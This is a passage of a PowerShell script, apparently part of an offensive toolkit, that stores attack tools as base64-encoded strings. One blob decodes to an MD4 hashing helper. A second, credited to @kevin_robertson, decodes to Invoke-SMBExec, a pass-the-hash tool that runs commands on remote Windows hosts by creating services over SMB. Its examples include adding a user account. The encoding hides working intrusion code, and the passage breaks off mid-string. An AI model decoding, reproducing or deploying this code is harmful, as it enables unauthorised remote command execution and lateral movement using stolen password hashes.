BvcnRfc3RyZWFtLkNsb3NlKCkNCiAgICAgICAgfQ0KDQogICAgICAgICRXTUlfY2xpZW50LkNsb3NlKCkNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkNsb3NlKCkNCiAgICB9DQoNCn0NCg0KfQ0KDQpGdW5jdGlvbiBHZXQtTUQ0SGFzaCB7DQo8Iw0KLlNZTk9QU0lTDQogICAgVGhpcyBjbWRsZXQgcmV0dXJucyB0aGUgTUQ0IGhhc2ggb2YgdGhlIGRhdGEgdGhhdCBpcyBpbnB1dC4NCiAgICBXQVJOSU5HOiBNRDQgaXMgbm90IHNlY3VyZSwgc28gaXQgc2hvdWxkIE5FVkVSIGJlIHVzZWQgdG8NCiAgICBwcm90ZWN0IHNlbnNpdGl2ZSBkYXRhLiBUaGlzIGNtZGxldCBpcyBmb3IgcmVzZWFyY2ggcHVycG9zZXMgb25seSENCiANCi5ERVNDUklQVElPTg0KICAgIFRoaXMgY21kbGV0IHJldHVybnMgdGhlIE1ENCBoYXNoIG9mIHRoZSBkYXRhIHRoYXQgaXMgaW5wdXQuDQogICAgV0FSTklORzogTUQ0IGlzIG5vdCBzZWN1cmUsIHNvIGl0IHNob3VsZCBORVZFUiBiZSB1c2VkIHRvDQogICAgcHJvdGVjdCBzZW5zaXRpdmUgZGF0YS4gVGhpcyBjbWRsZXQgaXMgZm9yIHJlc2VhcmNoIHB1cnBvc2VzIG9ubHkhDQogICAgVGhpcyBjbWRsZXQgdXNlcyBNaWNyb3NvZnQncyBpbXBsZW1lbnRhdGlvbiBvZiBNRDQsIGV4cG9ydGVkDQogICAgZnJvbSBiY3J5cHQuZGxsLiBUaGUgaW1wbGVtZW50YXRpb24gaXMgZnVsbHkgY29tcGxpYW50IHdpdGgNCiAgICBSRkMgMTMyMC4gVGhpcyBjbWRsZXQgdGFrZXMgYSBieXRlIGFycmF5IGFzIGlucHV0LCBub3QgYSBzdHJpbmcuDQogICAgU28gaWYgeW91IHdhbnRlZCB0byBoYXNoIGEgc3RyaW5nIChzdWNoIGFzIGEgcGFzc3dvcmQsKSB5b3UNCiAgICBuZWVkIHRvIGNvbnZlcnQgaXQgdG8gYSBieXRlIGFycmF5IGZpcnN0Lg0KIA0KLkVYQU1QTEUNCiAgICBHZXQtTUQ0SGFzaCAtRGF0YVRvSGFzaCAkKFtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygiWW91clBhc3N3b3JkMSEiKSkNCiANCi5QQVJBTUVURVIgRGF0YVRvSGFzaA0KICAgIEEgYnl0ZSBhcnJheSB0aGF0IHJlcHJlc2VudHMgdGhlIGRhdGEgdGhhdCB5b3Ugd2FudCB0byBoYXNoLg0KIA0KLklOUFVUUw0KICAgIEEgYnl0ZSBhcnJheSBjb250YWluaW5nIHRoZSBkYXRhIHlvdSB3aXNoIHRvIGhhc2guDQogDQouT1VUUFVUUw0KICAgIEEgMTI4LWJpdCBoZXhhZGVjaW1hbCBzdHJpbmcgLSB0aGUgTUQ0IGhhc2ggb2YgeW91ciBkYXRhLg0KIA0KLk5PVEVTDQogICAgQXV0aG9yOiBSeWFuIFJpZXMsIDIwMTQsIHJ5YW5AbXlvdGhlcnBjaXNhY2xvdWQuY29tDQogDQouTElOSw0KICAgIGh0dHBzOi8vbXlvdGhlcnBjaXNhY2xvdWQuY29tDQojPg0KICAgIFtDbWRsZXRCaW5kaW5nKCldDQogICAgUGFyYW0gKFtQYXJhbWV0ZXIoTWFuZGF0b3J5PSRUcnVlLCBWYWx1ZUZyb21QaXBlbGluZT0kRmFsc2UpXSAgICAgICAgICANCiAgICAgICAgICAgW0J5dGVbXV0kRGF0YVRvSGFzaCkNCiAgICBFTkQNCiAgICB7ICAgICAgIA0KICAgICAgICBTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiBMYXRlc3QNCiAgICAgICAgaWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ2RzYWZkc2FmZHNhZmRzJykuVHlwZSkNCiAgICAgICAgew0KICAgICAgICBBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gQCcNCiAgICAgICAgdXNpbmcgU3lzdGVtOw0KICAgICAgICB1c2luZyBTeXN0ZW0uVGV4dDsNCiAgICAgICAgdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOw0KICAgICAgICBwdWJsaWMgY2xhc3MgZHNhZmRzYWZkc2FmZHMNCiAgICAgICAgew0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyKA0KICAgICAgICAgICAgICAgIFtPdXRdIG91dCBJbnRQdHIgcGhBbGdvcml0aG0sDQogICAgICAgICAgICAgICAgW0luXSBzdHJpbmcgcHN6QWxnSWQsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gc3RyaW5nIHBzekltcGxlbWVudGF0aW9uLA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGR3RmxhZ3MpOw0KIA0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhBbGdvcml0aG0sDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRDcmVhdGVIYXNoKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbT3V0XSBvdXQgSW50UHRyIHBoSGFzaCwNCiAgICAgICAgICAgICAgICBbT3V0XSBJbnRQdHIgcGJIYXNoT2JqZWN0LA0KICAgICAgICAgICAgICAgIFtJbiwgT3B0aW9uYWxdIFVJbnQzMiBjYkhhc2hPYmplY3QsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gSW50UHRyIHBiU2VjcmV0LA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGNiU2VjcmV0LA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGR3RmxhZ3MpOw0KIA0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0RGVzdHJveUhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoSGFzaCk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRIYXNoRGF0YSgNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhIYXNoLA0KICAgICAgICAgICAgICAgIFtJbiwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBBcnJheSldIGJ5dGVbXSBwYklucHV0LA0KICAgICAgICAgICAgICAgIFtJbl0gaW50IGNiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRGaW5pc2hIYXNoKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEhhc2gsDQogICAgICAgICAgICAgICAgW091dCwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBBcnJheSldIGJ5dGVbXSBwYklucHV0LA0KICAgICAgICAgICAgICAgIFtJbl0gaW50IGNiSW5wdXQsDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRmxhZ3NdDQogICAgICAgICAgICBwdWJsaWMgZW51bSBBbGdPcHNGbGFncyA6IHVpbnQNCiAgICAgICAgICAgIHsgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIEJDUllQVF9QUk9WX0RJU1BBVENIID0gMHgwMDAwMDAwMSwNCiAgICAgICAgICAgICAgICBCQ1JZUFRfQUxHX0hBTkRMRV9ITUFDX0ZMQUcgPSAweDAwMDAwMDA4LA0KICAgICAgICAgICAgICAgIEJDUllQVF9IQVNIX1JFVVNBQkxFX0ZMQUcgPSAweDAwMDAwMDIwDQogICAgICAgICAgICB9DQogDQogICAgICAgICAgICAvLyBUaGlzIGlzIGEgZ2lnYW50aWMgZW51bSBhbmQgSSBkb24ndCB3YW50IHRvIGNvcHkgYWxsIG9mIGl0IGludG8gdGhpcyBQb3dlcnNoZWxsIHNjcmlwdC4NCiAgICAgICAgICAgIC8vIEJhc2ljYWxseSBhbnl0aGluZyBvdGhlciB0aGFuIHplcm8gbWVhbnMgc29tZXRoaW5nIHdlbnQgd3JvbmcuDQogICAgICAgICAgICBwdWJsaWMgZW51bSBOVFN0YXR1cyA6IHVpbnQNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBTVEFUVVNfU1VDQ0VTUyA9IDB4MDAwMDAwMDANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KJ0ANCn0NCiANCiAgICAgICAgW0J5dGVbXV0kSGFzaEJ5dGVzICAgPSBOZXctT2JqZWN0IEJ5dGVbXSAxNg0KICAgICAgICBbSW50UHRyXSRQSEFsZ29yaXRobSA9IFtJbnRQdHJdOjpaZXJvDQogICAgICAgIFtJbnRQdHJdJFBISGFzaCAgICAgID0gW0ludFB0cl06Olplcm8NCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyKFtSZWZdICRQSEFsZ29yaXRobSwgJ01ENCcsICROdWxsLCAwKQ0KICAgICAgICBJZiAoJE5UU3RhdHVzIC1ORSAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1FcnJvciAiQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyIGZhaWxlZCB3aXRoIE5UU1RBVFVTICROVFN0YXR1cyINCiAgICAgICAgICAgIElmICgkUEhBbGdvcml0aG0gLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIoJFBIQWxnb3JpdGhtLCAwKQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgUmV0dXJuDQogICAgICAgIH0NCiAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q3JlYXRlSGFzaCgkUEhBbGdvcml0aG0sIFtSZWZdICRQSEhhc2gsIFtJbnRQdHJdOjpaZXJvLCAwLCBbSW50UHRyXTo6WmVybywgMCwgMCkNCiAgICAgICAgSWYgKCROVFN0YXR1cyAtTkUgMCkNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtRXJyb3IgIkJDcnlwdENyZWF0ZUhhc2ggZmFpbGVkIHdpdGggTlRTVEFUVVMgJE5UU3RhdHVzIg0KICAgICAgICAgICAgSWYgKCRQSEhhc2ggLU5FIFtJbnRQdHJdOjpaZXJvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdERlc3Ryb3lIYXNoKCRQSEhhc2gpICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBJZiAoJFBIQWxnb3JpdGhtIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkTlRTdGF0dXMgPSBbZHNhZmRzYWZkc2FmZHNdOjpCQ3J5cHRDbG9zZUFsZ29yaXRobVByb3ZpZGVyKCRQSEFsZ29yaXRobSwgMCkNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIFJldHVybg0KICAgICAgICB9DQogDQogICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdEhhc2hEYXRhKCRQSEhhc2gsICREYXRhVG9IYXNoLCAkRGF0YVRvSGFzaC5MZW5ndGgsIDApDQogICAgICAgICROVFN0YXR1cyA9IFtkc2FmZHNhZmRzYWZkc106OkJDcnlwdEZpbmlzaEhhc2goJFBISGFzaCwgJEhhc2hCeXRlcywgJEhhc2hCeXRlcy5MZW5ndGgsIDApDQogDQogICAgICAgIElmICgkUEhIYXNoIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgew0KICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0RGVzdHJveUhhc2goJFBISGFzaCkNCiAgICAgICAgfQ0KICAgICAgICBJZiAoJFBIQWxnb3JpdGhtIC1ORSBbSW50UHRyXTo6WmVybykNCiAgICAgICAgew0KICAgICAgICAgICAgJE5UU3RhdHVzID0gW2RzYWZkc2FmZHNhZmRzXTo6QkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigkUEhBbGdvcml0aG0sIDApDQogICAgICAgIH0NCiAgICAgICAgIA0KICAgICAgICAkSGFzaFN0cmluZyA9IE5ldy1PYmplY3QgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlcg0KICAgICAgICBGb3JlYWNoICgkQnl0ZSBJbiAkSGFzaEJ5dGVzKQ0KICAgICAgICB7DQogICAgICAgICAgICBbVm9pZF0kSGFzaFN0cmluZy5BcHBlbmQoJEJ5dGUuVG9TdHJpbmcoIlgyIikpDQogICAgICAgIH0NCiAgICAgICAgUmV0dXJuICRIYXNoU3RyaW5nLlRvU3RyaW5nKCkNCiAgICB9DQp9DQo=" + +# Author: @kevin_robertson +$smbexec = "ZnVuY3Rpb24gSW52b2tlLVNNQkV4ZWMNCnsNCjwjDQouU1lOT1BTSVMNCkludm9rZS1TTUJFeGVjIHBlcmZvcm1zIFNNQkV4ZWMgc3R5bGUgY29tbWFuZCBleGVjdXRpb24gd2l0aCBOVExNdjIgcGFzcyB0aGUgaGFzaCBhdXRoZW50aWNhdGlvbi4gSW52b2tlLVNNQkV4ZWMNCnN1cHBvcnRzIFNNQjEgYW5kIFNNQjIgd2l0aCBhbmQgd2l0aG91dCBTTUIgc2lnbmluZy4NCg0KLlBBUkFNRVRFUiBUYXJnZXQNCkhvc3RuYW1lIG9yIElQIGFkZHJlc3Mgb2YgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIFVzZXJuYW1lDQpVc2VybmFtZSB0byB1c2UgZm9yIGF1dGhlbnRpY2F0aW9uLg0KDQouUEFSQU1FVEVSIERvbWFpbg0KRG9tYWluIHRvIHVzZSBmb3IgYXV0aGVudGljYXRpb24uIFRoaXMgcGFyYW1ldGVyIGlzIG5vdCBuZWVkZWQgd2l0aCBsb2NhbCBhY2NvdW50cyBvciB3aGVuIHVzaW5nIEBkb21haW4gYWZ0ZXIgdGhlDQp1c2VybmFtZS4gDQoNCi5QQVJBTUVURVIgSGFzaA0KTlRMTSBwYXNzd29yZCBoYXNoIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBtb2R1bGUgd2lsbCBhY2NlcHQgZWl0aGVyIExNOk5UTE0gb3IgTlRMTSBmb3JtYXQuDQoNCi5QQVJBTUVURVIgQ29tbWFuZA0KQ29tbWFuZCB0byBleGVjdXRlIG9uIHRoZSB0YXJnZXQuIElmIGEgY29tbWFuZCBpcyBub3Qgc3BlY2lmaWVkLCB0aGUgZnVuY3Rpb24gd2lsbCBjaGVjayB0byBzZWUgaWYgdGhlIHVzZXJuYW1lDQphbmQgaGFzaCBwcm92aWRlcyBsb2NhbCBhZG1pbmlzdHJhdG9yIGFjY2VzcyBvbiB0aGUgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIENvbW1hbmRDT01TUEVDDQpEZWZhdWx0ID0gRW5hYmxlZDogUHJlcGVuZCAlQ09NU1BFQyUgL0MgdG8gQ29tbWFuZC4NCg0KLlBBUkFNRVRFUiBTZXJ2aWNlDQpEZWZhdWx0ID0gMjAgQ2hhcmFjdGVyIFJhbmRvbTogTmFtZSBvZiB0aGUgc2VydmljZSB0byBjcmVhdGUgYW5kIGRlbGV0ZSBvbiB0aGUgdGFyZ2V0Lg0KDQouUEFSQU1FVEVSIFNNQjENCihTd2l0Y2gpIEZvcmNlIFNNQjEuIFRoZSBkZWZhdWx0IGJlaGF2aW9yIGlzIHRvIHBlcmZvcm0gU01CIHZlcnNpb24gbmVnb3RpYXRpb24gYW5kIHVzZSBTTUIyIGlmIHN1cHBvcnRlZCBieSB0aGUNCnRhcmdldC4NCg0KLlBBUkFNRVRFUiBTbGVlcA0KRGVmYXVsdCA9IDE1MCBNaWxsaXNlY29uZHM6IFNldHMgdGhlIGZ1bmN0aW9uJ3MgU3RhcnQtU2xlZXAgdmFsdWVzIGluIG1pbGxpc2Vjb25kcy4gWW91IGNhbiB0cnkgdHdlYWtpbmcgdGhpcw0Kc2V0dGluZyBpZiB5b3UgYXJlIGV4cGVyaWVuY2luZyBzdHJhbmdlIHJlc3VsdHMuDQoNCi5FWEFNUExFDQpJbnZva2UtU01CRXhlYyAtVGFyZ2V0IDE5Mi4xNjguMTAwLjIwIC1Eb21haW4gVEVTVERPTUFJTiAtVXNlcm5hbWUgVEVTVCAtSGFzaCBGNkYzOEI3OTNEQjZBOTRCQTA0QTUyRjFEM0VFOTJGMCAtQ29tbWFuZCAiY29tbWFuZCBvciBsYXVuY2hlciB0byBleGVjdXRlIiAtdmVyYm9zZQ0KDQouRVhBTVBMRQ0KSW52b2tlLVNNQkV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtRG9tYWluIFRFU1RET01BSU4gLVVzZXJuYW1lIFRFU1QgLUhhc2ggRjZGMzhCNzkzREI2QTk0QkEwNEE1MkYxRDNFRTkyRjAgLUNvbW1hbmQgIm5ldCB1c2VyIFNNQkV4ZWMgV2ludGVyMjAxNyAvYWRkIg0KDQouRVhBTVBMRQ0KSW52b2tlLVNNQkV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtRG9tYWluIFRFU1RET01BSU4gLVVzZXJuYW1lIFRFU1QgLUhhc2ggRjZGMzhCNzkzREI2QTk0QkEwNEE1MkYxRDNFRTkyRjANCg0KLkxJTksNCmh0dHBzOi8vZ2l0aHViLmNvbS9LZXZpbi1Sb2JlcnRzb24vSW52b2tlLVRoZUhhc2gNCg0KIz4NCltDbWRsZXRCaW5kaW5nKCldDQpwYXJhbQ0KKA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSR0cnVlKV1bU3RyaW5nXSRUYXJnZXQsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtTdHJpbmddJFVzZXJuYW1lLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kRG9tYWluLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kQ29tbWFuZCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtWYWxpZGF0ZVNldCgiWSIsIk4iKV1bU3RyaW5nXSRDb21tYW5kQ09NU1BFQz0iWSIsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bVmFsaWRhdGVTY3JpcHQoeyRfLkxlbmd0aCAtZXEgMzIgLW9yICRfLkxlbmd0aCAtZXEgNjV9KV1bU3RyaW5nXSRIYXNoLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kU2VydmljZSwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtTd2l0Y2hdJFNNQjEsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSRQYXNzd29yZCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kZmFsc2UpXVtJbnRdJFNsZWVwPTE1MA0KKQ0KDQppZighJFBhc3N3b3JkIC1hbmQgISRIYXNoKXsNCiAgICBleGl0DQp9DQoNCmlmKCRQYXNzd29yZCl7DQogICAgJEhhc2ggPSBHZXQtTUQ0SGFzaCAtRGF0YVRvSGFzaCAkKFtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkUGFzc3dvcmQpKQ0KICAgIFdyaXRlLU91dHB1dCAiSGFzaCBiZWluZyB1c2VkOiAkSGFzaCINCn0NCg0KaWYoJENvbW1hbmQpDQp7DQogICAgJFNNQl9leGVjdXRlID0gJHRydWUNCn0NCg0KaWYoJFNNQjEpDQp7DQogICAgJFNNQl92ZXJzaW9uID0gJ1NNQjEnDQp9DQoNCmZ1bmN0aW9uIENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5DQp7DQogICAgcGFyYW0oJHBhY2tldF9vcmRlcmVkX2RpY3Rpb25hcnkpDQoNCiAgICBGb3JFYWNoKCRmaWVsZCBpbiAkcGFja2V0X29yZGVyZWRfZGljdGlvbmFyeS5WYWx1ZXMpDQogICAgew0KICAgICAgICAkYnl0ZV9hcnJheSArPSAkZmllbGQNCiAgICB9DQoNCiAgICByZXR1cm4gJGJ5dGVfYXJyYXkNCn0NCg0KI05ldEJJT1MNCg0KZnVuY3Rpb24gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X2hlYWRlcl9sZW5ndGgsW0ludF0kcGFja2V0X2RhdGFfbGVuZ3RoKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X25ldGJpb3Nfc2Vzc2lvbl9zZXJ2aWNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9oZWFkZXJfbGVuZ3RoICsgJHBhY2tldF9kYXRhX2xlbmd0aCkNCiAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlX2xlbmd0aCA9ICRwYWNrZXRfbmV0Ymlvc19zZXNzaW9uX3NlcnZpY2VfbGVuZ3RoWzIuLjBdDQoNCiAgICAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZSA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9OZXRCSU9TU2Vzc2lvblNlcnZpY2UuQWRkKCJOZXRCSU9TU2Vzc2lvblNlcnZpY2VfTWVzc2FnZV9UeXBlIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZS5BZGQoIk5ldEJJT1NTZXNzaW9uU2VydmljZV9MZW5ndGgiLFtCeXRlW11dKCRwYWNrZXRfbmV0Ymlvc19zZXNzaW9uX3NlcnZpY2VfbGVuZ3RoKSkNCg0KICAgIHJldHVybiAkcGFja2V0X05ldEJJT1NTZXNzaW9uU2VydmljZQ0KfQ0KDQojU01CMQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CSGVhZGVyKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZCxbQnl0ZVtdXSRwYWNrZXRfZmxhZ3MsW0J5dGVbXV0kcGFja2V0X2ZsYWdzMixbQnl0ZVtdXSRwYWNrZXRfdHJlZV9JRCxbQnl0ZVtdXSRwYWNrZXRfcHJvY2Vzc19JRCxbQnl0ZVtdXSRwYWNrZXRfdXNlcl9JRCkNCg0KICAgICRwYWNrZXRfU01CSGVhZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9Qcm90b2NvbCIsW0J5dGVbXV0oMHhmZiwweDUzLDB4NGQsMHg0MikpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfQ29tbWFuZCIsJHBhY2tldF9jb21tYW5kKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX0Vycm9yQ2xhc3MiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9FcnJvckNvZGUiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfRmxhZ3MiLCRwYWNrZXRfZmxhZ3MpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfRmxhZ3MyIiwkcGFja2V0X2ZsYWdzMikNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9Qcm9jZXNzSURIaWdoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CSGVhZGVyLkFkZCgiU01CSGVhZGVyX1NpZ25hdHVyZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQkhlYWRlci5BZGQoIlNNQkhlYWRlcl9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfVHJlZUlEIiwkcGFja2V0X3RyZWVfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfUHJvY2Vzc0lEIiwkcGFja2V0X3Byb2Nlc3NfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfVXNlcklEIiwkcGFja2V0X3VzZXJfSUQpDQogICAgJHBhY2tldF9TTUJIZWFkZXIuQWRkKCJTTUJIZWFkZXJfTXVsdGlwbGV4SUQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJIZWFkZXINCn0NCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW1N0cmluZ10kcGFja2V0X3ZlcnNpb24pDQoNCiAgICBpZigkcGFja2V0X3ZlcnNpb24gLWVxICdTTUIxJykNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9ieXRlX2NvdW50ID0gMHgwYywweDAwDQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICAgIFtCeXRlW11dJHBhY2tldF9ieXRlX2NvdW50ID0gMHgyMiwweDAwICANCiAgICB9DQoNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfYnl0ZV9jb3VudCkNCiAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXF1ZXN0ZWREaWFsZWN0c19EaWFsZWN0X0J1ZmZlckZvcm1hdCIsW0J5dGVbXV0oMHgwMikpDQogICAgJHBhY2tldF9TTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfUmVxdWVzdGVkRGlhbGVjdHNfRGlhbGVjdF9OYW1lIixbQnl0ZVtdXSgweDRlLDB4NTQsMHgyMCwweDRjLDB4NGQsMHgyMCwweDMwLDB4MmUsMHgzMSwweDMyLDB4MDApKQ0KDQogICAgaWYoJHBhY2tldF92ZXJzaW9uIC1uZSAnU01CMScpDQogICAgew0KICAgICAgICAkcGFja2V0X1NNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZ